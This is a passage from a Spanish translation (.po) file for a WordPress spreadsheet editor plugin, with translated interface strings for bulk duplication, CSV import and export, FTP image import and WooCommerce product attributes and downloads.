                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "El rol de administrador puede ver y editar todo." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Menú Principal" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "Editar \"%s\"" #: posts-templates/posts-templates.php:56 msgid "Duplicate rows: Number of copies to create per batch" msgstr "Duplicar filas: Número de copias a crear por lote" #: posts-templates/posts-templates.php:57 msgid "By default, we create 100 copies per batch" msgstr "By default, we create 100 copies per batch" #: posts-templates/posts-templates.php:83 msgid "Duplicate items in bulk" msgstr "Duplicar artículos masivamente" #: posts-templates/posts-templates.php:89 msgid "Duplicate this item:" msgstr "Duplicar este elemento:" #: posts-templates/posts-templates.php:90 msgid "Enter item name..." msgstr "Ingresar nombre del elemento..." #: posts-templates/posts-templates.php:95 msgid "How many copies do you want?" msgstr "¿Cuántas copias quieres crear?" #: posts-templates/posts-templates.php:105 #: woocommerce/views/spreadsheet-create-variations-modal.php:111 msgid "Execute" msgstr "Ejecutar" #: posts-templates/posts-templates.php:121 msgid "Duplicate items in bulk." msgstr "Duplicar elementos masivamente." #: posts-templates/posts-templates.php:122 msgid "Duplicate" msgstr "Duplicar" #: posts-templates/posts-templates.php:193 msgid "" "Template item with ID %d was not found or is not allowed to be duplicated." msgstr "" "El elemento de la plantilla con ID %d no se ha encontrado o no se puede " "duplicar." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Habilitar nueva hoja de cálculo" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Post type eliminado" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:14 msgid "Set up Spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:41 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por " "favor, sigue estos pasos." #: spreadsheet-setup/views/page.php:32 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "¿Seguro de que quieres borrar este post type? También borrarás los post en " "el post type" #: spreadsheet-setup/views/page.php:36 #: wp-sheet-editor/dev/views/quick-setup.php:48 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Selecciona la información que quieres editar con el editor de hojas de " "cálculo." #: spreadsheet-setup/views/page.php:39 msgid "Add new post type" msgstr "Añadir un nuevo post type" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:194 #: wp-sheet-editor/dev/views/settings-form.php:96 msgid "Advanced settings" msgstr "Configuración avanzada" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Etiqueta" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Clave" #: universal-sheet/inc/csv-api.php:174 msgid "Allow to import images from FTP servers?" msgstr "¿Permitir la importación de imágenes desde servidores FTP?" #: universal-sheet/inc/csv-api.php:175 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Por defecto, el importador permite guardar imágenes usando URLs internas " "completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e " "IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: " "ftp://user:password@host:port/path/to/image.png. Esto hará que la " "importación sea más lenta" #: universal-sheet/inc/csv-api.php:181 msgid "FTP Images: Skip images with same file name?" msgstr "Imágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?" #: universal-sheet/inc/csv-api.php:182 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada " "vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita " "esta opción para reutilizar las imágenes de la biblioteca multimedia con el " "mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras " "importaciones. Desactiva esta opción si quieres mantener las imágenes " "actualizadas en futuras importaciones." #: universal-sheet/inc/csv-api.php:202 msgid "" "The exported file does not exist. This could happen for the following " "reasons:" msgstr "" "El archivo exportado no existe. Esto puede ocurrir por las siguientes " "razones:" #: universal-sheet/inc/csv-api.php:204 msgid "" "If you are trying to download something that was exported several hours ago, " "the file might have expired. Files expire after %s hours." msgstr "" "Si estás intentando descargar algo que se exportó hace varias horas, es " "posible que el archivo haya caducado. Los archivos caducan al cabo de %s " "horas." #: universal-sheet/inc/csv-api.php:205 msgid "" "Maybe your server did not allow us to create the file. It happens if your " "server is not configured correctly and our folder %s does not have write " "permissions, so we're not able to create the file. You should request help " "from your hosting provider." msgstr "" "Tal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor " "no está configurado correctamente y nuestra carpeta %s no tiene permisos de " "escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda " "a tu proveedor de hosting." #: universal-sheet/inc/csv-api.php:379 msgid "Missing required field \"data\"." msgstr "\"Datos\" del campo requerido faltantes." #: universal-sheet/inc/csv-api.php:469 msgid "Missing required field. Please start the process again." msgstr "Campo requerido faltante. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:473 msgid "Writing type not allowed." msgstr "Tipo de escritura no permitida." #: universal-sheet/inc/csv-api.php:477 msgid "Not allowed." msgstr "No está permitido." #: universal-sheet/inc/csv-api.php:571 msgid "The import is completed." msgstr "La importación se ha completado." #: universal-sheet/inc/csv-api.php:790 msgid "" "%1$d of %2$d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas " "actualizadas y {total_created} filas creadas." #: universal-sheet/inc/csv-api.php:817 msgid "Not allowed. Please start the process again." msgstr "No permitido. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:836 msgid "Wrong file url" msgstr "URL del archivo incorrecta" #: universal-sheet/inc/csv-api.php:840 universal-sheet/inc/csv-api.php:860 #: universal-sheet/inc/csv-api.php:891 msgid "Wrong file extension. We accept CSV only" msgstr "Extensión del archivo incorrecta. Sólo aceptamos archivos CSV" #: universal-sheet/inc/csv-api.php:855 universal-sheet/inc/csv-api.php:898 msgid "File could not be uploaded. Please start the process again." msgstr "" "No se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:868 msgid "Wrong data format" msgstr "Formato de datos incorrecto" #: universal-sheet/inc/csv-api.php:887 msgid "The file doesn't exist. Invalid path: %s" msgstr "El archivo no existe. Ruta inválida: %s" #: universal-sheet/inc/csv-api.php:907 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una " "codificación incorrecta. Si editaste el archivo en Excel, verifica que se " "guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares " "externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo " "los valores y no el formato para evitar pegar caracteres inválidos." #: universal-sheet/inc/csv-api.php:1098 msgid "Processing: %1$d of %2$d rows have been exported." msgstr "Procesando: Se han exportado %1$d de %2$d filas." #: universal-sheet/inc/csv-api.php:1113 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  La exportación finalizó.

                  La descarga debería empezar automáticamente." #: universal-sheet/inc/csv-api.php:1115 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor/exports/ on your server.

                  The export " "files are deleted automatically after %d hours." msgstr "" " Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /" "wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los " "archivos de exportación se borran automáticamente después de %d horas." #: universal-sheet/universal-sheet.php:61 #: universal-sheet/universal-sheet.php:72 #, fuzzy #| msgid "- -" msgid "--" msgstr "- -" #: universal-sheet/universal-sheet.php:62 msgid "CSV file from my computer" msgstr "Archivo CSV desde mi computadora" #: universal-sheet/universal-sheet.php:63 msgid "CSV file from url" msgstr "Archivo CSV desde una URL" #: universal-sheet/universal-sheet.php:64 msgid "Copy & paste from another spreadsheet or table" msgstr "Copiar y pegar desde otra hoja de cálculo o tabla" #: universal-sheet/universal-sheet.php:65 msgid "CSV file in the server" msgstr "Archivo CSV en el servidor" #: universal-sheet/universal-sheet.php:73 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/universal-sheet.php:74 msgid "Google Sheets" msgstr "Hojas de Cálculo de Google" #: universal-sheet/universal-sheet.php:75 msgid "Other" msgstr "Otro" #: universal-sheet/universal-sheet.php:78 msgid "Older versions of Microsoft Excel" msgstr "Versiones más antiguas de Microsoft Excel" #: universal-sheet/universal-sheet.php:124 msgid "Ignore this column" msgstr "Ignorar esta columna" #: universal-sheet/universal-sheet.php:132 #: universal-sheet/views/import-modal.php:147 msgid "Full URL" msgstr "URL Completa" #: universal-sheet/universal-sheet.php:172 msgid "Export" msgstr "Exportar" #: universal-sheet/universal-sheet.php:197 msgid "Download CSV file" msgstr "Descargar archivo CSV" #: universal-sheet/universal-sheet.php:205 msgid "Import" msgstr "Importar" #: universal-sheet/views/export-modal.php:9 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de exportación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/export-modal.php:12 #: universal-sheet/views/export-modal.php:21 msgid "Export to CSV" msgstr "Exportar a un archivo CSV" #: universal-sheet/views/export-modal.php:25 msgid "What columns do you want to export?" msgstr "¿Qué columnas quieres exportar?" #: universal-sheet/views/export-modal.php:33 msgid "Select active columns" msgstr "Seleccionar columnas habilitadas" #: universal-sheet/views/export-modal.php:34 woocommerce/inc/attributes.php:324 #: woocommerce/inc/attributes.php:356 msgid "Select all" msgstr "Seleccionar todas" #: universal-sheet/views/export-modal.php:35 msgid "Unselect all" msgstr "Deseleccionar todas" #: universal-sheet/views/export-modal.php:40 msgid "Which rows do you want to export?" msgstr "¿Qué filas quieres exportar?" #: universal-sheet/views/export-modal.php:42 msgid "All the rows from my current search" msgstr "Todas las filas de mi lista actual" #: universal-sheet/views/export-modal.php:43 msgid "Rows that I selected manually with the checkbox" msgstr "Las filas que he seleccionado manualmente en la hoja de cálculo" #: universal-sheet/views/export-modal.php:48 msgid "What app will you use to edit this file? (optional)" msgstr "¿Qué aplicación usarás para editar este archivo CSV? (opcional)" #: universal-sheet/views/export-modal.php:66 #: wp-sheet-editor/dev/inc/api/editor.php:305 msgid "Name of this export (optional)" msgstr "Nombre de esta exportación (opcional)" #: universal-sheet/views/export-modal.php:66 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Guardaremos la consulta de búsqueda actual y la configuración de la " "exportación, y podrás ejecutar esta exportación con un solo clic en el " "futuro usando el desplegable del menú de exportación" #: universal-sheet/views/export-modal.php:83 msgid "Start new export" msgstr "Iniciar nueva exportación" #: universal-sheet/views/import-modal.php:10 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de importación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/import-modal.php:13 #: universal-sheet/views/import-modal.php:24 msgid "Import csv" msgstr "Importar CSV" #: universal-sheet/views/import-modal.php:26 msgid "Source" msgstr "Fuente" #: universal-sheet/views/import-modal.php:38 msgid "CSV file" msgstr "Archivo CSV" #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:45 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:61 #: universal-sheet/views/import-modal.php:99 #: universal-sheet/views/import-modal.php:168 msgid "Next" msgstr "Siguiente" #: universal-sheet/views/import-modal.php:48 msgid "Copy and Paste into the spreadsheet below" msgstr "Copiar y pegar en la siguiente hoja de cálculo" #: universal-sheet/views/import-modal.php:54 msgid "CSV file location" msgstr "Ubicación del archivo CSV" #: universal-sheet/views/import-modal.php:54 msgid "" "You must enter a file name in this field (not full path) and upload the file " "to the folder %s" msgstr "" "Debes ingresar un nombre de archivo en este campo (no la ruta completa) y " "subir el archivo a la carpeta %s" #: universal-sheet/views/import-modal.php:65 #: universal-sheet/views/import-modal.php:177 msgid "Show advanced options" msgstr "Mostrar opciones avanzadas" #: universal-sheet/views/import-modal.php:68 msgid "Separator" msgstr "Separador" #: universal-sheet/views/import-modal.php:73 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Consejo. Puedes usar la herramienta \"Exportar\" para descargar un archivo " "CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí." #: universal-sheet/views/import-modal.php:79 msgid "Select columns to import" msgstr "Selecciona las columnas a importar" #: universal-sheet/views/import-modal.php:80 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Importante. Sólo hemos detectado una columna en el archivo CSV. Si esto es " "incorrecto, sigue estos pasos para " "arreglarlo." #: universal-sheet/views/import-modal.php:81 msgid "We automatically detected all the columns." msgstr "Detectamos todas las columnas automáticamente" #: universal-sheet/views/import-modal.php:81 msgid "Import all the columns" msgstr "Importar todas las columnas" #: universal-sheet/views/import-modal.php:81 msgid "or" msgstr "o" #: universal-sheet/views/import-modal.php:81 msgid "Select individual columns to import" msgstr "Seleccionar columnas individuales a importar" #: universal-sheet/views/import-modal.php:83 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Consejo. Si has editado información de este sitio, debes importar las " "columnas editadas y el record_id. No importes columnas que no hayan sido " "modificadas" #: universal-sheet/views/import-modal.php:85 msgid "Unselect all columns" msgstr "Deseleccionar todas las columnas" #: universal-sheet/views/import-modal.php:86 msgid "CSV Column" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:86 msgid "WordPress field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:88 msgid "Example: " msgstr "Ejemplo: " #: universal-sheet/views/import-modal.php:97 msgid "Remember this column mapping configuration?" msgstr "¿Recordar esta configuración de columnas para futuras importaciones?" #: universal-sheet/views/import-modal.php:98 #: universal-sheet/views/import-modal.php:167 #: universal-sheet/views/import-modal.php:202 msgid "Previous" msgstr "Anterior" #: universal-sheet/views/import-modal.php:102 msgid "Do you want to update or create items?" msgstr "¿Quieres actualizar o crear filas?" #: universal-sheet/views/import-modal.php:105 msgid "Create new items and update existing items" msgstr "Crear nuevas filas y actualizar las filas existentes" #: universal-sheet/views/import-modal.php:106 msgid "Import all rows as new" msgstr "Importar todas las filas como nuevas" #: universal-sheet/views/import-modal.php:107 msgid "Only create new items, ignore existing items" msgstr "Sólo crear las filas nuevas, ignorar las filas existentes" #: universal-sheet/views/import-modal.php:108 msgid "Update existing items, ignore new items" msgstr "Actualizar las filas existentes, ignorar las filas nuevas" #: universal-sheet/views/import-modal.php:111 msgid "How do we find existing items to update?" msgstr "¿Cómo debemos encontrar los elementos existentes a editar?" #: universal-sheet/views/import-modal.php:115 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo " "en WP.
                  Por ejemplo, productos con el mismo SKU o ID." #: universal-sheet/views/import-modal.php:117 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Seleccionaste una columna del archivo CSV de abajo, pero la columna no está " "
                  siendo importada. Por favor, ve al paso anterior y selecciona la " "columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos " "existentes con el mismo ID, necesitas importar la columna ID, de lo " "contrario no tenemos los ID para encontrarlos." #: universal-sheet/views/import-modal.php:119 msgid "CSV Field" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:125 msgid "WordPress Field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:154 msgid "Field 2: CSV Field" msgstr "Campo 2: Columna en el CSV" #: universal-sheet/views/import-modal.php:160 msgid "Field 2: WordPress Field" msgstr "Campo 2: Campo en WordPress" #: universal-sheet/views/import-modal.php:171 msgid "Final step" msgstr "Paso final" #: universal-sheet/views/import-modal.php:172 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las " "primeras 5 filas del archivo." #: universal-sheet/views/import-modal.php:174 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Por favor, haz una copia de seguridad antes de ejecutar la importación, " "para que puedas revertirla en caso de que hayas usado una configuración " "incorrecta o el archivo sea erróneo. La importación guardará la información " "directamente." #: universal-sheet/views/import-modal.php:180 msgid "Number of rows to process per batch:" msgstr "Número de filas a procesar por lote:" #: universal-sheet/views/import-modal.php:180 msgid "Leave empty to use the global settings." msgstr "Déjalo vacío para usar los ajustes globales." #: universal-sheet/views/import-modal.php:184 msgid "Start from row number:" msgstr "Comenzar desde este número de fila:" #: universal-sheet/views/import-modal.php:184 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Si detienes una importación para editar el archivo CSV o cambias la " "velocidad de importación, puedes iniciar una nueva importación y continuar " "desde donde la dejaste." #: universal-sheet/views/import-modal.php:188 msgid "Decode quotes?" msgstr "¿Decodificar las comillas?" #: universal-sheet/views/import-modal.php:191 msgid "Auto retry failed batches?" msgstr "¿Reintentar automáticamente los lotes fallidos?" #: universal-sheet/views/import-modal.php:191 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de " "segundos). Cuando un lote falla, normalmente pausamos la importación y te " "preguntamos si quieres volver a intentarlo o cancelar la importación. " "Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay " "que seleccionar la opción de actualizar las filas existentes en el paso 3 de " "la importación, para que podamos reintentar y omitir lo que se importó con " "éxito y sólo reintentar lo que falló. Si no se selecciona la opción de " "actualizar en el paso 3 de la importación, cada reintento podría duplicar " "algunas filas previamente importadas." #: universal-sheet/views/import-modal.php:195 msgid "Set post status to \"pending\" if featured image saving failed?" msgstr "" "¿Guardar con estado \"Pendiente\" si el guardado de la imagen destacada " "falló?" #: universal-sheet/views/import-modal.php:195 msgid "" "This option works only if you are importing the featured image column and " "saving the featured image failed." msgstr "" "Esta opción aplica solo si estás importando la columna de imagen destacada y " "falla el guardado de la imagen." #: universal-sheet/views/import-modal.php:214 msgid "The preview is fine, start import" msgstr "La vista previa está bien, iniciar importación" #: universal-sheet/views/import-modal.php:215 msgid "Cancel import" msgstr "Cancelar la importación" #: universal-sheet/views/import-modal.php:218 msgid "Importing" msgstr "Importando" #: universal-sheet/views/import-modal.php:226 msgid "View log" msgstr "Ver registro" #: woocommerce/inc/attributes.php:69 woocommerce/inc/attributes.php:715 msgid "Product attributes" msgstr "Atributos del producto" #: woocommerce/inc/attributes.php:266 msgid "Change attribute settings" msgstr "Cambiar los ajustes de los atributos" #: woocommerce/inc/attributes.php:274 msgid "What setting do you want to change?" msgstr "¿Qué ajuste quieres cambiar?" #: woocommerce/inc/attributes.php:276 msgid "Is Visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:276 msgid "Used for Variations?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/attributes.php:279 msgid "New value" msgstr "Nuevo valor" #: woocommerce/inc/attributes.php:284 msgid "What attribute do you want to edit?" msgstr "¿Qué atributo quieres editar?" #: woocommerce/inc/attributes.php:292 msgid "Replace a default attribute term" msgstr "Reemplazar un término de atributo por defecto" #: woocommerce/inc/attributes.php:300 msgid "Enter the attribute name" msgstr "Ingresa el nombre del atributo" #: woocommerce/inc/attributes.php:301 msgid "" "If this is a global attribute, enter the attribute key (i.e. pa_color). " "Enter the name if this is a custom attribute." msgstr "" "Si se trata de un atributo global, ingresa la clave del atributo (por " "ejemplo, pa_color). Ingresa el nombre si se trata de un atributo " "personalizado." #: woocommerce/inc/attributes.php:305 msgid "Replace this term" msgstr "Reemplazar este término" #: woocommerce/inc/attributes.php:307 msgid "Enter the term name or slug." msgstr "Ingresa el nombre o el slug del término." #: woocommerce/inc/attributes.php:310 msgid "With this term" msgstr "Con este término" #: woocommerce/inc/attributes.php:312 msgid "Leave this empty if you want to unset the term." msgstr "Deja este campo vacío si quieres anular el término." #: woocommerce/inc/attributes.php:671 msgid "Custom attribute: %s" msgstr "Atributo personalizado: %s" #: woocommerce/inc/attributes.php:684 msgid "Enter multiple attributes separated by |" msgstr "Ingresa varios atributos separados por |" #: woocommerce/inc/attributes.php:729 woocommerce/inc/attributes.php:731 msgid "Edit attributes" msgstr "Editar atributos" #: woocommerce/inc/attributes.php:732 msgid "" "Note: Separate values with the character %1$s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have " "their own columns in the spreadsheet. You can edit them in the columns " "(faster) or using this popup.
                  If you are editing the attributes of variations, the variation " "must be enabled, otherwise the attributes won't be saved." msgstr "" "Nota: Separa los valores con el caracter %1$s
                  Te recomendamos usar " "Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales " "tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las " "columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la " "variación debe estar habilitada. De lo contrario, los atributos no se " "guardarán." #: woocommerce/inc/attributes.php:779 msgid "Position" msgstr "Posición" #: woocommerce/inc/attributes.php:779 msgid "Is visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:779 msgid "Used for variation?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/downloadable.php:110 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:667 msgid "Downloadable" msgstr "Descargable" #: woocommerce/inc/downloadable.php:132 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:801 msgid "Download limit" msgstr "Límite de descargas" #: woocommerce/inc/downloadable.php:148 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:813 msgid "Download expiry" msgstr "Caducidad de la descarga" #: woocommerce/inc/downloadable.php:164 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:825 msgid "Download type" msgstr "Tipo de descarga" #: woocommerce/inc/downloadable.php:171 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:829 msgid "Standard Product" msgstr "Producto estándar" #: woocommerce/inc/downloadable.php:172 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:830 msgid "Application/Software" msgstr "Aplicación/Software" #: woocommerce/inc/downloadable.php:173 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:831 msgid "Music" msgstr "Música" #: woocommerce/inc/downloadable.php:186 msgid "Download files : names" msgstr "Archivos descargables: Nombres" #: woocommerce/inc/downloadable.php:194 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa " "varios nombres separados por comas." #: woocommerce/inc/downloadable.php:206 msgid "Download files : URLs" msgstr "Archivos descargables: URLs" #: woocommerce/inc/downloadable.php:213 msgid "Enter multiple URLs separated by commas" msgstr "Ingresa múltiples URLs separadas por comas" #: woocommerce/inc/downloadable.php:229 woocommerce/inc/downloadable.php:233 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:840 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:844 msgid "Download files" msgstr "Archivos descargables" #: woocommerce/inc/downloadable.php:231 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Edit files" msgstr "Editar archivos" #: woocommerce/inc/downloadable.php:234 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Copiar archivos de este producto: (Necesitas guardar los cambios después.)" #: woocommerce/inc/downloadable.php:234 #: woocommerce/views/spreadsheet-create-variations-modal.php:21 #: woocommerce/views/spreadsheet-create-variations-modal.php:48 #: woocommerce/views/spreadsheet-create-variations-modal.php:89 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "Select product..." msgstr "Seleccionar producto...." #: woocommerce/inc/downloadable.php:258 woocommerce/inc/downloadable.php:259 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 msgid "File (url or path)" msgstr "Archivo (URL o ruta)" #: woocommerce/inc/downloadable.php:289 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Guardaremos estos archivos. Los archivos existentes se sobrescribirán. " "Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas " "por comas." #: woocommerce/inc/downloadable.php:293 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Añadiremos el nuevo archivo al inicio de los archivos existentes en los " "productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs " "separadas por comas." #: woocommerce/inc/downloadable.php:371 woocommerce/inc/variations.php:1317 msgid "Please select a product." msgstr "Por favor, selecciona un producto." #: woocommerce/inc/downloadable.php:401 msgid "Files saved." msgstr "Archivos guardados." #: woocommerce/inc/downloadable.php:404 msgid "The files could not be saved." msgstr "Los archivos no se pudieron guardar." #: woocommerce/inc/formatting.php:57 msgid "" "The \"Regular price\" column is hidden now. Please enable it in the columns " "manager before running this bulk edit." msgstr "" "La columna \"Precio normal\" está oculta. Actívala en el gestor de columnas " "antes de realizar esta edición masiva." #: woocommerce/inc/import-export.php:97 woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:498 msgid "Type" msgstr "Tipo" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:98 woocommerce/inc/import-export.php:196 #: woocommerce/woocommerce.php:403 msgid "Attribute %d name" msgstr "Nombre del atributo %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:99 woocommerce/inc/import-export.php:197 #: woocommerce/woocommerce.php:405 msgid "Attribute %d value(s)" msgstr "Valor del/los atributo(s) %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:100 woocommerce/inc/import-export.php:198 #: woocommerce/woocommerce.php:407 msgid "Attribute %d visible" msgstr "Atributo %d visible" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:101 woocommerce/inc/import-export.php:199 #: woocommerce/woocommerce.php:409 msgid "Attribute %d global" msgstr "Atributo %d global" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:200 woocommerce/woocommerce.php:411 msgid "Attribute %d default" msgstr "Atributo %d por defecto" #. translators: %d: Download number #: woocommerce/inc/import-export.php:203 woocommerce/woocommerce.php:413 msgid "Download %d name" msgstr "Nombre de la descarga %d" #: woocommerce/inc/import-export.php:204 msgid "Download %d ID" msgstr "ID de la descarga %d" #. translators: %d: Download number #: woocommerce/inc/import-export.php:205 woocommerce/woocommerce.php:415 msgid "Download %d URL" msgstr "URL de la descarga %d" #: woocommerce/inc/import-export.php:319 msgid "Skip broken images?" msgstr "¿Omitir las imágenes rotas?" #: woocommerce/inc/import-export.php:319 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Por defecto, la importación se detiene cuando un producto hace referencia a " "una imagen rota y hay que corregir el problema en el archivo e iniciar una " "nueva importación. Habilita esta opción y te permitiremos importar productos " "sin imágenes cuando la URL de la imagen esté rota" #: woocommerce/inc/import-export.php:326 msgid "Downloads" msgstr "Descargas" #: woocommerce/inc/import-export.php:327 msgid "Attributes" msgstr "Atributos" #: woocommerce/inc/import-export.php:458 msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Aquí hay un archivo CSV como ejemplo " "que contiene todo tipo de productos." #: woocommerce/inc/import-export.php:617 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %1$s: %2$s. Please correct it and start a new import" msgstr "" "Una fila de variación tiene un producto padre que no existe. La columna " "\"padre\" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva " "importación" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:75 #: wp-sheet-editor/dev/inc/api/editor.php:324 msgid "Create variations" msgstr "Crear variaciones" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Crear y copiar variaciones para los productos variables." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Mostrar las variaciones" #: woocommerce/inc/variations.php:40 msgid "" "When 